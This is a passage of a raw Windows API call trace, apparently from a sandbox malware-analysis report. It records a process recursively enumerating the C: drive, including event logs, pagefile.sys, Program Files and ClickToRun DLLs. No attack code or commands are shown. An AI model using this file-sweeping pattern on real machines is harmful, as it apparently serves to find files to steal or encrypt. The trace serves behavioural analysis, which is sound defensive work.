ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0053.621] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0053.622] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0053.622] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0053.622] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0053.622] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0053.622] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0053.622] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0053.622] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0053.622] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0053.622] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0 [0053.622] FindClose (in: hFindFile=0x42601c0 | out: hFindFile=0x42601c0) returned 1 [0053.623] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0053.623] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0053.623] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0053.624] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0053.624] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0053.624] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0053.624] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0053.624] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0053.624] FindNextFileW (in: hFindFile=0x6b9698, lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf1268ba4, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xf1268ba4, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0053.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf1268ba4, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xf1268ba4, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x42603c0 [0053.624] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf1268ba4, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xf1268ba4, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0053.624] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece19101, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece19101, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0053.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece19101, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece19101, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260440 [0053.624] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece19101, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece19101, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.624] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0053.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260180 [0053.625] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0053.625] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1 [0053.625] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x7010e0, Size=0x8000) returned 0x3ce1278 [0053.625] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 0 [0053.625] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0053.625] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42b3f70 | out: hHeap=0x6a0000) returned 1 [0053.625] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0053.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260400 [0053.626] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0053.626] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0053.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260140 [0053.626] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.626] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0053.626] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0053.626] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0053.626] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0053.627] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, 